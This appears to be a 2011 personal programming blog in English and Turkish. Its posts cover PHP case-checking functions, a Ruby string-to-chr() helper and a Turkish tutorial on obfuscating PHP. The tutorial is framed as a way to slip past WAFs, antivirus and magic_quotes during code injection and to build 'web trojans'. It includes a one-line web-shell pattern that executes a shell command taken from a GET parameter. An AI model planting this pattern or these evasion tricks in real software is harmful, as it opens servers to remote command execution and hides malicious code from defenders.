Thursday, February 24, 2011

is_lower() and is_upper()

In this post i will share my functions is_lower and is_upper. I coded them for determinening is string lower case or upper case. Idea is simple. Get each char with substring, after that convert it to ascii (with ord function) and in condition clause look for its range (97-122 lower case chars and 65-90 upper case chars). Here is functions..

is_lower:
function is_lower($string) {
for ($i = 0; $i < strlen($string); $i++) {
$ch = ord(substr($string, $i, 1));
if (!(($ch > 96) && ($ch < 123))) {
return false;
}
}

return true;
}

is_upper:
function is_upper($string) {
for ($i = 0; $i < strlen($string); $i++) {
$ch = ord(substr($string, $i, 1));
if (!(($ch > 64) && $ch < 91)) {
return false;
}
}

return true;
}

Thursday, February 17, 2011

do you think are you secure?

Cok komik bir resim, internette daha önceden de dolaşıyordu bugun tekrar rastladım paylasayim dedim. Gercekten kilidin orada olmasi guvende hissi veriyor mu insana? zayif halkalarin plastik seritle tutturulmasina ragmen :>

- do you think are you secure?
- yeah i have a lock, i am secure
- think again

Wednesday, February 16, 2011

MySQL Code Execution

I really embarrassed when i see SYSTEM keyword on MySQL allows execute OS Commands on current system(where mysql daemon runs). Yeah i embarrassed because i don't know it and have no idea about it (Yes i was know code execution with User Defined Functions). It's really simple.

Sunday, February 13, 2011

string to chr() array - ruby style

Hi everyone on my boring blog's readers.(really anybody read my blog? if u read please drop an comment or click my ads :> )
I will only share tiny code snippet that usefull for me. Its converts any string into chr() array, i use it on my php code obfuscator tool. It's here..

def to_chr_array(str)
  ret = ""
  i = 0
  len = str.length

  str.each_byte { |c|
    i+=1
    if i == len:
     ret << "chr(#{c.to_s})"
    else
     ret << "chr(#{c.to_s})."
    end
  }

ret
end


Simple usage:
puts "$variable = #{to_chr_array("hello")};"

Output:
$variable = chr(104).chr(101).chr(108).chr(108).chr(111);

Sunday, February 6, 2011

obfuscating php codes

Giriş
Yazının başlığı "obfuscating php codes" olmasına rağmen otomatize bir şekilde bu işlemi yapan bir tool yayınlamayacağım sadece kullanılabilecek yöntemleri tartışmak istedim, aslında kişisel notlarımdan bir yazı oluşturma çabası bu. Biraz obfuscating işleminden bahsedelim. obfuscating işlemi daha doğrusu "obfuscated code" kavramı kodun normal bir insan (çoğu zaman bir makine) tarafından okunmasını güçleştirmek. Burada makineden kastım bir WAF/IPS/IDS/Antivirus vs.. olabilir. Daha fazla merak edenler [1] ve [2] no'lu referanslara göz atabilirler. Peki neden bu tarz bir işleme ihtiyaç duyulur? Benim gibi bir "web hacker"i iseniz karşılaştığınız PHP Code Injection vs.. gibi durumlarda platformun magic_quotes özelliğini aşmak isteyebilirsiniz, ya da WAF'i atlatmak isteyebilirsiniz vb.. birçok neden sayılabilir neden bu işleme ihtiyaç duyduğunuza dair.

PHP Dilinin Sağladıkları
PHP Dili varsayılan olarak birçok güzel özelliği bizlere sunuyor. Örneğin bir değişken tanımlamasını eğer değerinizin tüm karakterleri birer string ise tırnak işareti kullanmadan yapabilirsiniz.

$a = HELLO;
echo $a; // ekrana HELLO yazacaktır..

Fonksiyon çağırımlarında değişkenleri fonksiyon isimleri için kullanabilirsiniz.

$a = system;
$cmd = $_GET[cmd];
$a($cmd);

Bir dizinin elemanına ulaşırkende yine eleman adında özel karakter yoksa tırnak işareti kullanmadan çağırabilirsiniz.

$cmd = $_GET[cmd];

chr() fonksiyonundan yararlanabilirsiniz.

echo chr(72).chr(69).chr(76).chr(76).chr(79); // ekrana HELLO yazacaktır..

base64 encode edilmiş veriler işinizi görebilir.
echo base64_decode("SEVMTE8="); // ekrana HELLO yazacaktır..
echo base64_decode(SEVMTE8); // ekrana yine HELLO yazacaktır fakat = işaretini kaldırmaktan pek emin değilim decodinge bir zararı olur mu olmaz mı anlamında..

Ayrıca whiteline vb.. şeyleride ortadan kaldırarak tespiti zor web trojanları hazırlayabilirsiniz.

Son Sözler
Öğrendiklerimizin tümünü bir arada kullanarak şöyle birşey hazırlayabiliriz. Okunması gayet zor olan bir kod hazırlamaya çalışalım ve bu kod şunu yapsın verilen base64 encoded veriyi decode edip ekrana yazsın.

$a=base;$b=de;$c=chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111);$d=$a.$c.$b;$c=pri;$b=chr(110).chr(116).chr(102);$a=$c.$b;$a($d(SEVMTE8));

Çalıştırırsanız ekrana HELLO yazdığını göreceksiniz.


Referanslar
[1] - http://en.wikipedia.org/wiki/Obfuscation
[2] - http://en.wikipedia.org/wiki/Obfuscated_code